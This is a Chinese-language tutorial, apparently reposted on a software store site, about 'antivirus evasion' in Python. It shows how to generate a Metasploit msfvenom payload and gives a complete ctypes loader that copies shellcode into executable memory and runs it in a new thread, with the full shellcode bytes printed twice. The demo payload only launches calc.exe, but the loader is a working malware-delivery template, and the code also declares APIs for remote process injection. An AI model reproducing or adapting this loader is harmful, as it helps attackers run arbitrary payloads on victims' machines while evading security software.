展开菜单
首页 精品内容 本月促销 装机必备 Windows PDF教程 macOS软件 IOS软件 Android AI 专题
全部分类

当前位置:

首页 > 编程开发 > python免杀技术shellcode的加载与执行方法是什么

python免杀技术shellcode的加载与执行方法是什么

0x01生成shellcode首先通过下列命令生成一个shellcode,使用msfvenom-p选项来指定paylaod,这里选用windows/x64、exec模块接收的参数。使用calc.exe执行弹出计算器的操作。-f选项用来执行生成的shellcdoe的编译语言。msfvenom-pwindows/x64/execCMD='calc.exe'-fpy0x02加载与执行shellcode的程序程序为:#-*-coding:utf-8-*-importctypesfromctypes

本文目录

    0x01 生成shellcode

    首先通过下列命令生成一个shellcode,使用msfvenom -p选项来指定paylaod,这里选用windows/x64、exec模块接收的参数。使用calc.exe执行弹出计算器的操作。-f选项用来执行生成的shellcdoe的编译语言。

    msfvenom -p windows/x64/exec CMD='calc.exe' -f py

    python免杀技术shellcode的加载与执行方法是什么

    0x02 加载与执行shellcode的程序

    程序为:

    # -*- coding:utf-8 -*-
    
    import ctypes
    from ctypes import *
    from ctypes.wintypes import *
    import sys
    
    PAGE_EXECUTE_READWRITE = 0x00000040
    MEM_COMMIT = 0x3000
    PROCESS_ALL_ACCESS = (0x000F0000 | 0x00100000 | 0xFFF)
    
    VirtualAlloc = windll.kernel32.VirtualAlloc
    RtlMoveMemory = windll.kernel32.RtlMoveMemory
    CreateThread = windll.kernel32.CreateThread
    WaitForSingleObject = windll.kernel32.WaitForSingleObject
    OpenProcess = windll.kernel32.OpenProcess
    VirtualAllocEx = windll.kernel32.VirtualAllocEx
    WriteProcessMemory = windll.kernel32.WriteProcessMemory
    CreateRemoteThread = windll.kernel32.CreateRemoteThread
    
    shellcode = bytearray(
        b"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41"
        b"\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48"
        b"\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f"
        b"\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c"
        b"\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52"
        b"\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b"
        b"\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0"
        b"\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56"
        b"\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9"
        b"\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0"
        b"\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58"
        b"\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44"
        b"\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0"
        b"\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a"
        b"\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48"
        b"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00"
        b"\x00\x00\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41"
        b"\xba\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41"
        b"\xba\xa6\x95\xbd\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06"
        b"\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a"
        b"\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c\x63\x2e\x65"
        b"\x78\x65\x00"
    )
    
    def run1():
        VirtualAlloc.restype = ctypes.c_void_p  #重载函数返回类型为void
        p = VirtualAlloc(c_int(0),c_int(len(shellcode)),MEM_COMMIT,PAGE_EXECUTE_READWRITE)#申请内存
        buf = (c_char * len(shellcode)).from_buffer(shellcode)#将shellcdoe指向指针
        RtlMoveMemory(c_void_p(p),buf,c_int(len(shellcode)))#复制shellcdoe到申请的内存中
        h = CreateThread(c_int(0),c_int(0),c_void_p(p),c_int(0),c_int(0),pointer(c_int(0))) #执行创建线程
        WaitForSingleObject(c_int(h),c_int(-1))#检测线程创建事件
    
    if __name__ == "__main__":
        run1()

    0x03 程序解释

    导入模块,并且程序分配内存还有可进行读写操作。

    import ctypes
    from ctypes import *
    from ctypes.wintypes import *
    import sys
    
    PAGE_EXECUTE_READWRITE = 0x00000040
    MEM_COMMIT = 0x3000
    PROCESS_ALL_ACCESS = (0x000F0000 | 0x00100000 | 0xFFF)

    区域可执行代码,可读可写

    PAGE_EXECUTE_READWRITE = 0x00000040

    分配内存

    MEM_COMMIT = 0x3000

    给予进程所有权限

    PROCESS_ALL_ACCESS = (0x000F0000 | 0x00100000 | 0xFFF)

    调用windows api

    VirtualAlloc = windll.kernel32.VirtualAlloc
    RtlMoveMemory = windll.kernel32.RtlMoveMemory
    CreateThread = windll.kernel32.CreateThread
    WaitForSingleObject = windll.kernel32.WaitForSingleObject
    OpenProcess = windll.kernel32.OpenProcess
    VirtualAllocEx = windll.kernel32.VirtualAllocEx
    WriteProcessMemory = windll.kernel32.WriteProcessMemory
    CreateRemoteThread = windll.kernel32.CreateRemoteThread

    将前面生成的shellcode赋值给shellcode参数,赋值前使用bytearray函数处理

    shellcode = bytearray(
        b"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41"
        b"\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48"
        b"\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f"
        b"\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c"
        b"\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52"
        b"\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b"
        b"\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0"
        b"\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56"
        b"\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9"
        b"\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0"
        b"\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58"
        b"\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44"
        b"\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0"
        b"\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a"
        b"\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48"
        b"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00"
        b"\x00\x00\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41"
        b"\xba\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41"
        b"\xba\xa6\x95\xbd\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06"
        b"\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a"
        b"\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c\x63\x2e\x65"
        b"\x78\x65\x00"
    )

    创建一个方法并调用,申请内存,将shellcode指向分配的内存指针,再复制shellcode到内存中,创建线程事件并执行:

    def run1():
        VirtualAlloc.restype = ctypes.c_void_p  #重载函数返回类型为void
        p = VirtualAlloc(c_int(0),c_int(len(shellcode)),MEM_COMMIT,PAGE_EXECUTE_READWRITE)#申请内存
        buf = (c_char * len(shellcode)).from_buffer(shellcode)#将shellcdoe指向指针
        RtlMoveMemory(c_void_p(p),buf,c_int(len(shellcode)))#复制shellcdoe到申请的内存中
        h = CreateThread(c_int(0),c_int(0),c_void_p(p),c_int(0),c_int(0),pointer(c_int(0))) #执行创建线程
        WaitForSingleObject(c_int(h),c_int(-1))#检测线程创建事件

    VirtualAlloc是用来申请内存空间,是一个Windows API函数,它的声明为:

    LPVOID VirtualAlloc{
    LPVOID lpAddress, // 要分配的内存区域的地址
    DWORD dwSize, // 分配的大小
    DWORD flAllocationType, // 分配的类型
    DWORD flProtect // 该内存的初始保护属性
    };

    RtlMoveMemory从指定内存中复制内存至另一内存里.语法为:

    VOID RtlMoveMemory(
    VOID UNALIGNED *Destination,
    const VOID UNALIGNED *Source,
    SIZE_T Length
    );

    参数:

    Destination :指向移动目的地址的指针。
    Source :指向要复制的内存地址的指针。
    Length :指定要复制的字节数。

    CreateThread是一种微软在Windows API中提供了建立新的线程的函数,该函数在主线程的基础上创建一个新线程。
    函数原型:

    HANDLE CreateThread(
    LPSECURITY_ATTRIBUTES lpThreadAttributes,//SD
    SIZE_T dwStackSize,//initialstacksize
    LPTHREAD_START_ROUTINE lpStartAddress,//threadfunction
    LPVOID lpParameter,//threadargument
    DWORD dwCreationFlags,//creationoption
    LPDWORD lpThreadId//threadidentifier
    )

    参数意义

    • lpThreadAttributes:指向SECURITY_ATTRIBUTES型态的结构的指针。在Windows 98中忽略该参数。在Windows NT中,NULL使用默认安全性,不可以被子线程继承,否则需要定义一个结构体将它的bInheritHandle成员初始化为TRUE。

    • dwStackSize,设置初始栈的大小,以字节为单位,如果为0,那么默认将使用与调用该函数的线程相同的栈空间大小。任何情况下,Windows根据需要动态延长堆栈的大小。

    • lpStartAddress,指向线程函数的指针,形式:@函数名,函数名称没有限制

    • lpParameter:向线程函数传递的参数,是一个指向结构的指针,不需传递参数时,为NULL。

    • dwCreationFlags :线程标志,可取值如下

      • (1)CREATE_SUSPENDED(0x00000004):创建一个挂起的线程,

      • (2)0:表示创建后立即激活。

      • (3)STACK_SIZE_PARAM_IS_A_RESERVATION(0x00010000):dwStackSize参数指定初始的保留堆栈 的大小,否则,dwStackSize指定提交的大小。该标记值在Windows 2000/NT and Windows Me/98/95上不支持。

    • lpThreadId:保存新线程的id。

      • WaitForSingleObject是一种Windows API函数。当等待仍在挂起状态时,句柄被关闭,那么函数行为是未定义的。该句柄必须具有 SYNCHRONIZE 访问权限。

    声明:

    DWORD WINAPI WaitForSingleObject(
    __in HANDLE hHandle,
    __in DWORD dwMilliseconds
    );

    hHandle[in]对象句柄。可以指定一系列的对象,如Event、Job、Memory resource notification、Mutex、Process、Semaphore、Thread、Waitable timer等。

    dwMilliseconds[in]定时时间间隔,单位为milliseconds(毫秒).如果指定一个非零值,函数处于等待状态直到hHandle标记的对象被触发,或者时间到了。如果dwMilliseconds为0,对象没有被触发信号,函数不会进入一个等待状态,它总是立即返回。如果dwMilliseconds为INFINITE,对象被触发信号后,函数才会返回。

    运行程序可以成功弹出计算器。

    python免杀技术shellcode的加载与执行方法是什么

    本站声明:本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系bd@zhengruan.com
    作者最新文章
    编程开发 Python
    相关文章 更多
    精品专题 更多
    装机必备

    正软商城装机必备专区,精选办公、浏览器、安全防护、影音播放、压缩解压、设计创作和系统工具等电脑常用正版软件,帮助用户快速完成新电脑软件配置。

    Windows

    正软商城Windows软件专区,汇集适用于Windows电脑的办公、设计、安全防护、影音播放、开发工具和系统优化软件,提供软件介绍、系统要求、正版授权及购买下载服务。

    PDF教程

    正软商城PDF教程频道提供PDF编辑、转换、合并、拆分、压缩及格式处理方法,同时介绍常用PDF软件和工具的使用技巧。

    macOS软件

    正软商城macOS软件专区,精选适用于Mac电脑的办公、设计、影音、效率、开发和系统工具,提供软件功能介绍、macOS兼容版本、正版授权及购买下载服务。

    IOS软件

    正软商城iOS软件专区,精选适用于iPhone和iPad的办公、学习、影音、设计、效率及AI应用,提供功能介绍、适用设备、系统要求和正版获取方式等信息。

    AI

    正软商城AI软件专区,汇集AI写作、AI绘画、AI视频、AI办公、AI编程、AI翻译、智能客服和数据分析等人工智能工具,提供功能介绍、适用平台、收费方式及正版购买信息。

    Mac软件 更多
    讯飞智作 网页版
    讯飞智作 网页版

    讯飞智作是一款基于语音合成技术、虚拟人驱动技术与数字人形象声音构建能力的 AI 数字人音视频创作平台。

    火山引擎 网页版
    火山引擎 网页版

    火山引擎是字节跳动旗下企业级云与AI服务平台。聚焦大模型核心能力,依托字节自研豆包多模态大模型,凭借火山方舟一站式平台,提供模型精调、推理部署、智能应用搭建等全链路服务,结合高性能AI算力,助力各行业快速落地大模型数字化与智能化应用。

    Aperty macOS版
    Aperty macOS版

    Aperty 是 Skylum 推出的 AI 人像修图软件,支持自然肤质修饰、瑕疵处理、面部与身体调整、预设及批量同步。

    立刻MV 网页版
    立刻MV 网页版

    立刻MV 面向音乐人、内容创作者和品牌团队,帮助用户低成本完成歌曲 MV、歌词视频、AI 分镜、图生视频与最终合成。

    蛙蛙写作 网页版
    蛙蛙写作 网页版

    蛙蛙写作 AI 创作工具,覆盖小说、剧本、文案,一键生成文稿,打通文字转视频全流程,高效解决创作难题。

    超级简历WonderCV 网页版
    超级简历WonderCV 网页版

    超级简历WonderCV是面向应届生和AI小白的智能求职平台,覆盖简历、面试与职业规划。

    音述AI 网页版
    音述AI 网页版

    音述AI,是一个以“用声音述说故事”为核心的 AI 音乐创作与声音分享社区。

    AionClaw macOS版
    AionClaw macOS版

    AionClaw 是可在桌面端运行的任务型 AI 助手,通过数字专家与技能市场组合办公、创作、数据和开发能力。

    Loomy macOS版
    Loomy macOS版

    Loomy 是科大讯飞推出的桌面 AI 助手,可通过对话、任务与工作目录协助处理办公、内容创作和资料整理。

    AirBuddy 3 macOS版
    AirBuddy 3 macOS版

    AirBuddy 3 是面向 macOS 的蓝牙外设增强工具,可集中查看 AirPods、Beats 与苹果设备电量,提供快速连接、播放控制、电量提醒、桌面小组件和多台 Mac 外设接力等功能。

    AirServer macOS版
    AirServer macOS版

    AirServer macOS版可把 Mac 转换为无线投屏接收端,通过 AirPlay 或 Google Cast 接收手机、平板和电脑画面,并支持多设备同时连接、高清镜像及会话录制,适合家庭娱乐、课堂教学、会议演示和应用展示。

    AnyDesk macOS版
    AnyDesk macOS版

    AnyDesk macOS版是一款适用于远程办公、设备维护和客户支持的远程桌面工具,可连接并操作异地计算机,支持文件传输、无人值守访问、会话权限控制及跨平台协作。

    WINDOWS 更多
    讯飞智作 网页版
    讯飞智作 网页版

    讯飞智作是一款基于语音合成技术、虚拟人驱动技术与数字人形象声音构建能力的 AI 数字人音视频创作平台。

    火山引擎 网页版
    火山引擎 网页版

    火山引擎是字节跳动旗下企业级云与AI服务平台。聚焦大模型核心能力,依托字节自研豆包多模态大模型,凭借火山方舟一站式平台,提供模型精调、推理部署、智能应用搭建等全链路服务,结合高性能AI算力,助力各行业快速落地大模型数字化与智能化应用。

    PixTV 网页版
    PixTV 网页版

    PixTV 是一款在浏览器中使用的 AI 视觉内容创作平台,提供图片、视频、音频、文字生成、AI 分镜、局部重绘、提示词反推和无限画布等工具,适合短剧、漫剧、广告及社交媒体内容制作。

    讯飞绘文 网页版
    讯飞绘文 网页版

    讯飞绘文网页版是科大讯飞推出的AI图文创作与内容运营工具,覆盖热点选题、文章生成、稿件校对、智能配图、排版发布和数据复盘等环节,适合自媒体创作者及内容团队在线使用。

    Maya(Autodesk Maya) Windows版
    Maya(Autodesk Maya) Windows版

    Autodesk Maya 是面向影视、电视、动画和游戏行业的专业三维制作软件,集多边形与 NURBS 建模、角色绑定、关键帧和动作捕捉动画、Bifrost 特效模拟、材质开发及 Arnold 渲染于一体,

    Aperty Windows版
    Aperty Windows版

    Aperty 是 Skylum 推出的 AI 人像修图软件,支持自然肤质修饰、瑕疵处理、面部与身体调整、预设及批量同步。

    立刻MV 网页版
    立刻MV 网页版

    立刻MV 面向音乐人、内容创作者和品牌团队,帮助用户低成本完成歌曲 MV、歌词视频、AI 分镜、图生视频与最终合成。

    蛙蛙写作 网页版
    蛙蛙写作 网页版

    蛙蛙写作 AI 创作工具,覆盖小说、剧本、文案,一键生成文稿,打通文字转视频全流程,高效解决创作难题。

    超级简历WonderCV 网页版
    超级简历WonderCV 网页版

    超级简历WonderCV是面向应届生和AI小白的智能求职平台,覆盖简历、面试与职业规划。

    音述AI 网页版
    音述AI 网页版

    音述AI,是一个以“用声音述说故事”为核心的 AI 音乐创作与声音分享社区。

    AionClaw Windows版
    AionClaw Windows版

    AionClaw 是可在桌面端运行的任务型 AI 助手,通过数字专家与技能市场组合办公、创作、数据和开发能力。

    Loomy Windows版
    Loomy Windows版

    Loomy 是科大讯飞推出的桌面 AI 助手,可通过对话、任务与工作目录协助处理办公、内容创作和资料整理。